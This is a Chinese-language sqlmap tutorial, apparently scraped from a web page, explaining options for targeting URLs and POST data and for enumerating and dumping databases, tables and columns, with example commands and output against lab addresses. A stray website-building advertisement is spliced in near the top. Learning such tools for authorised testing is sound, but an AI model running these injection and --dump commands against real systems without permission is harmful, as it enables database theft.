0x00 SQLMAP簡介
創(chuàng)新互聯(lián)專業(yè)為企業(yè)提供富縣網(wǎng)站建設(shè)、富縣做網(wǎng)站、富縣網(wǎng)站設(shè)計(jì)、富縣網(wǎng)站制作等企業(yè)網(wǎng)站建設(shè)、網(wǎng)頁設(shè)計(jì)與制作、富縣企業(yè)網(wǎng)站模板建站服務(wù),十余年富縣做網(wǎng)站經(jīng)驗(yàn),不只是建網(wǎng)站,更提供有價(jià)值的思路和整體網(wǎng)絡(luò)服務(wù)。
sqlmap是一種開源的***測試工具,可以自動檢測和利用SQL注入漏洞以及接入該數(shù)據(jù)庫的服務(wù)器。它擁有非常大的檢測引擎、具有多種特性的***實(shí)測器、通過數(shù)據(jù)庫指紋提取訪問底層文件系統(tǒng)并通過外帶連接執(zhí)行命令。
支持的數(shù)據(jù)庫:MySQL,oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase and SAP MaxDB
SQL注入技術(shù):錯誤注入,基于時(shí)間的錯誤注入,報(bào)錯注入,union注入
枚舉數(shù)據(jù):users,password hasher,privileges,roles,databases,tables and columns
0x01 Sqlmap掃描等級(共有7個等級,默認(rèn)為1)
0、只顯示python錯誤以及嚴(yán)重的信息
1、同時(shí)顯示基本信息和警告信息。(默認(rèn))
2、同時(shí)顯示debug信息
3、同時(shí)顯示注入的payload
4、同時(shí)顯示HTTP請求
5、同時(shí)顯示HTTP響應(yīng)頭
6、同時(shí)顯示HTTP響應(yīng)面
0x02 獲取目標(biāo)方式
參數(shù):-u 或 --url
eg:python sqlmap.py -u http(s)://targeturl[:port]/[...]
0x03 從文本中獲取多個目標(biāo)掃描
參數(shù):-m
文件中保存url格式如下,sqlmap會一個一個檢測
www.target1.com/vuln1.php?q=foobar www.target2.com/vuln2.asp?id=1 www.target3.com/vuln3/id/1*
0x04 從文件中加載HTTP請求
參數(shù): -r
sqlmap可以從一個文本中獲取HTTP請求,這樣就可以跳過設(shè)置一些其他參數(shù)(比如cookie,POST數(shù)據(jù),等等)。
POST /vuln.php HTTP/1.1 Host: www.target.com User-Agent: Mozilla/4.0 id=1
0x05 POST方式注入
參數(shù): --data
此參數(shù)是吧數(shù)據(jù)以post方式提交,sqlmap會像檢測GET參數(shù)一樣檢測POST的參數(shù)。
eg:python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1"
0x06 設(shè)定超時(shí)時(shí)間
參數(shù): --timeout
可以設(shè)定一個HTTP(S)請求超過多久判定為超時(shí),10.5表示10.5秒,默認(rèn)是30秒。
0x07 設(shè)定重試超時(shí)
參數(shù): --retries
當(dāng)HTTP(S)超時(shí)時(shí),可以設(shè)定重新嘗試連接次數(shù),默認(rèn)是3次
0x08 測試參數(shù)
*
在偽靜態(tài)注入測試時(shí),sqlmap無法直接使用測試參數(shù),可以在想測試參數(shù)的參數(shù)后面加*
eg: 1.python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/" 2.python sqlmap.py -u "http://targeturl/param1/value1/param2/value2/15*"
0x09 列舉數(shù)據(jù)庫系統(tǒng)的數(shù)據(jù)庫
參數(shù):--dbs
當(dāng)前用戶有權(quán)限讀取包含所有數(shù)據(jù)庫列表信息的表中的時(shí)候,即可列出所有的數(shù)據(jù)庫。
0x10 列舉數(shù)據(jù)庫表
參數(shù): --tables -D
列舉指定數(shù)據(jù)庫 -D xxxx 的所有表。如果不指定-D 則列舉所有數(shù)據(jù)庫中的所有表。
0x11 列舉書庫表中的字段
參數(shù):--columns -T -D
列舉指定數(shù)庫,指定表中的字段。
eg: python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users [...] Database: SQLite_masterdb Table: users [3 columns] +---------+---------+ | Column | Type | +---------+---------+ | id | INTEGER | | name | TEXT | | surname | TEXT | +---------+---------+
0x12 獲取表中數(shù)據(jù)個數(shù)
參數(shù): --count
列舉指定數(shù)據(jù)庫表中的數(shù)據(jù)個數(shù)。
eg: python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb [...] Database: testdb +----------------+---------+ | Table | Entries | +----------------+---------+ | dbo.users | 4 | | dbo.users_blob | 2 | +----------------+---------+
0x13 獲取整個表的數(shù)據(jù)或某幾個字段的數(shù)據(jù)。
--dump -D -T -C
列舉某個數(shù)據(jù)庫某個表的所有字段
python sqlmap.py -u http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1 --dump -D testdb -T dbo.users
列舉某個數(shù)據(jù)庫的某個表的某個字段的數(shù)據(jù)。
python sqlmap.py -u http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1 --dump -D testdb -T dbo.users -C ID,NAME